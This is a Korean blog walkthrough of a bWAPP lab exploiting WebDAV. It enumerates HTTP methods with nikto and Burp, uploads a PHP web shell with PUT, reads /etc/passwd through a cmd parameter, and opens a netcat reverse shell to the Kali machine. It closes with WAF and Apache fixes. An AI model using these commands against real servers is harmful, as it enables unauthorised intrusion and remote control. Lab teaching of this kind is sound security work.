webdav 란
WebDAV는 Web Distributed Authoring and Versioning의 약자로 웹 분산 저작 과 버전관리이다 (저작: 프로그래밍 언어를 사용하지 않고 프로그램을 제작하는 것)
HTTP 프로토콜의 확장으로, 웹 서버에 저장된 문서와 파일을 편집하고 관리하는 사용자들 사이에 협업을 쉽게 해준다.
쉽게 말해서 웹 FTP 서버기능과 같은 곳이라고 생각할 수 있다. 그래서 서버에 파일들을 생성,이동,삭제가 가능하기 때문에 올바른 보안 설정이 되어 있지 않다면 악성코드가 업로드 되어 시스템에 악영향을 끼칠수 있다.
HTTP 요청 메소드
HTTP 메서드란 클라이언트와 서버 사이에 이루어지는 요청과 응답 데이터를 전송하는 방식을 일컫는다.
HTTP는 요청 메서드를 정의하며, 주어진 리소스에 수행하길 원하는 행동을 나타낸다.
HTTP 상태 코드
HTTP 응답 상태 코드는 특정 HTTP 요청이 성공적으로 완료 되었는지 알려준다.
응당븐 5개의 그룹으로 나눠지며 정보응답(100번대), 성공응답(200번대),리다이렉션 메세지(300번대),클라이언트 에러응답(400번대), 서버에러 응답(500번대)로 나눠진다.
정말 많은 응답 코드들이 있지만 이중에 많이 쓰이는 응답코드들만 뽑아서 몇개만 정리를한다.
실습 환경
PC1
OS: Kali Linux
IP: 192.168.180.147
PC2
OS: Ubuntu
IP:192.168.180.148
환경구성
브라우져 실행후 로컬로 접속을 하면 저런 로그인 창이 나온다
잘 보면 아이디와 비밀번호가 써져 있다
ID: bee
PW: bug
이제 실습 할 취약점을 선택을 해야 한다.
워낙에 많은 취약점들이 있어서 찾기가 어려울수 있는데 A5 구역에 WebDAV가 있는것을 찾을 수 있다.
선택후 hack 버튼을 누르면 된다.
webDAV 환경 구성이 완료가 되었다!
WebDAV 문구를 누르면 디렉토리 인덱싱 환경으로 이동 된다 .
해당 화면이 뜨면 실습 준비가 모두 되었다 .
실습
해킹 실습을 들어가기전
먼저 [그림 4] 화면을 보면 일단 하단 부분에 서버 환경에 대해 노출이 된것을 확인 할수 있다.
해당 게시물은 정해진 취약점을 이용해 실습을 진행 하지만 서버 환경에 노출된 정보를 통해 취약점 페이로드를
찾는 다면 다른 방식의 침투 혹은 후속 공격을 이어갈수 있다.
[취약점 진단1]
가장 쉬운 방법은 자동 취약점 도구를 이용하는 방법이다.
가장 쉬운 방법이지만 보통 자동화된 툴은 서버에 무리가 갈수 있으며 모의해킹 현직에서는 못 쓸경우도 있긴하다.
하지만 담당자가 수 많은 담당 구역에 취약점을 빠르게 파악을 할 경우에는 빠른 효율성과 시간으로 쓰일수 도 있다.
많은 취약점이 있지만 그중에 nikto 를 이용 할 것이다.
#nikto -h 점검호스트위치
먼저 PUT 메소드가 허용된 것을 학인 할수 있다.
GET, HEAD, POST, OPTIONS, TRACE, DELETE, PROPFIND, PROPPATCH, COPY, MOVE, LOCK, UNLOCK 메소드를이 허용 된 것을 확인 할수 있다.
[취약점 진단 2]
burpsuite를 실행을 시킨다. 그리고 프록시 탭으로 이동을 한다.
Intercept is off를 눌러서 on
open browser 로 webdav로 접속을 하면
다음과 같은 raw 한 결과물을 볼 수 있다.
해당 내용에 마우스 우키를 누르고 send to Repeater를 눌러서
리피터에서 실습을 진행을 할 것이다.
리피터에서 [그림 11] 과 같이 바꾸면 된다.
GET 을 OPTIONS (노란색 하이라이트)로 바꾸고 좌측 상단에 send 버튼을 누르면
우측에 결과물이 나오는 것을 확인 할수 있다.
우측 결과물을 보면
OPTIONS, GET, HEAD, POST, DELETE, TRACE, PROPFIND, PROPATCH, COPY, MOVE,LOCK, UNLOCK 메소드들이
허용 되어 있다고 확인 할수 있다.
[침투 실습]
침투 실습은 [취약점 진단2]와 이어서 하면 된다.
캡쳐 하는 과정에서 오타가 났다. PUTS가 아닌 PUT이다.
이번에는 PUT 메소드가 정상적으로 작동 하는지 확인 해 볼것이다.
PUT 메소드를 삽입하고 새로 만들 파일이름과 확장자 명을 써준다.
그리고 한칸 띄고 (12번줄) 바디값에 값들을 쓰면 생성된 파일에 데이터들이 입력이 된다.
Send 버튼을 누르면
Response 에서는 PUT 메소드를 방어를 하지 않고 정상적으로 파일을 생성했다면
201 응답코드를 응답한다.
같은 방식으로 DELETE메소드 또한 204 코드( 의도적으로 응답바디에 아무것도 포함 안함 )와 함께 정상적으로 작동 하는것을 확인 할수 있다.
PUTS와 DELETE 메소드가 모두 정상적으로 작동하는것을 확인 하였으니
웹쉘을 서버에 업로드를 해볼 것이다.
웹쉘은 구글링을 통해 얻을 수도 있지만 칼리 리눅스안에도 분명히 존재한다.
#locate webshell | grep php
간단한 simple-backdoor.php를 통해 업로드를 할 것이다.
PHP를 업로드를 완료 하였다.
해당 PHP 코드는 URL에 cmd값에 명령어를 입력을 해서 서버를 조작하는 웹 쉘이다.
띄어쓰기 대신 +로 채워줘야한다
ex) http://192.168.180.148/webdav/hey.php?cmd=cat+/etc/passwd
[그림 16]에 맨 아래를 보면 성공적으로 업로드 된것을 확인 할수 있다.
웹쉘을 이용하여 /etc/passwd 의 내용을 확인 한 장면이다.
간단한 작업은 url을 통해서 보내는 방식이 좋지만
세부작업을 할 경우에는 쉘 환경에서 하는것이 좋다
그래서 리버스 쉘을 이용해서 쉘 환경에 접속을 할 것이다.
먼저 PC1(kali linux)는 nc를 이용해서 포트를 열고 대기를 할것이다.
업로드해둔 웹쉘을 이용해서 PC1에서 대기중이던 포트로 접속을 할 것이다.
http://192.168.180.148/webdav/hey.php?cmd=nc+192.168.180.147+1234+-e+/bin/bash
nc를 이용해서 192.168.180.147에 1234포트로 접속을 할 것이다. /bin/bash에 명령권을 넘기면서
1234포트로 접속 대기중이던 창이 PC2가 접속을 하면서 접속을 하였다
저기서 바로 쉘 작업을 할 수 있지만 부족함이 있기에
파이썬을 이용하여 쉘 환경에 완성도를 올릴수 있다.
python -c 'import pty;pty.spawn("/bin/bash")'
해결 방안
1) WAF 보안 장비
Web Application Firewall 은 웹 공격에 특화된 솔루션으로 OSI 7 Layer 의 Application 계층에서 HTTP( 웹 서비스)로
시도되는 취약점 공격을 탐지 및 차단 하는 기능을 가지고 있다.
WAF을 이용 하여 PUT 과 DELETE 메소드를 DENY 혹은 ALLOW로 상황에 맞게 설정을 해둔다.
2) 서버에서 해결
아파치, ISS , Nginx 등 다양한 서버들이 존재하는데 서버에 맞게 지시어 추가 또는 메소드를 차단을 해준다
예를 들어 아파치의 경우 /home/config/httpd.conf 파일에서 <LimitExcept> 지시어를 추가한다
<LimitExcept GET POST HEAD OPTIONS>
order deny,allow
Deny from all
</LimitExcept>
'보안 > 모의해킹' 카테고리의 다른 글
CVE-2015-8249 취약점 분석 (1) | 2023.11.30 |
---|---|
SNMP 정보 노출 취약점 (port 161 ) (0) | 2023.11.14 |
vsftp 2.3.4 취약점 분석 ,Meterpreter를 이용한 백도어 설치(후속공격) (0) | 2023.10.24 |
이터널 블루 (Eternal Blue ) 분석 /Operation failed: 1314 오류 해결 (0) | 2023.10.19 |
모의해킹 보고서 작성 팁 링크 모음 (0) | 2023.08.01 |